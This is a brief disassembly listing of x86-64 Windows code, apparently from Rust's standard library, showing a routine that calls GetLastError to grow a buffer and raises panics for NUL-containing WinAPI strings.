call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x7a
jne 0x180027d8a
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x180027c1f
jmp 0x180027c30
cmp r14, r8
jb 0x180027da4
lea rcx, [rbp + 0x3a0]
mov rdx, r15
call fcn.180035d90
movups xmm0, xmmword [rbp + 0x3a0]
movups xmm1, xmmword [rbp + 0x3b0]
mov rsi, qword [rbp + 0x3c8]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d0]
test rdx, rdx
je 0x180027d40
mov rcx, qword [rbp + 0x3d8]
add rdx, rdx
mov r8d, 2
call fcn.180002550
mov rax, rsi
add rsp, 0x468
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call sub.KERNEL32.DLL_GetLastError
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3c8]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d0]
test rdx, rdx
jne 0x180027d2b
jmp 0x180027d40
lea rcx, str.internal_error:_entered_unreachable_codeHR_f
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.1800851d0
jmp 0x180027db9
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.18008b400
ud2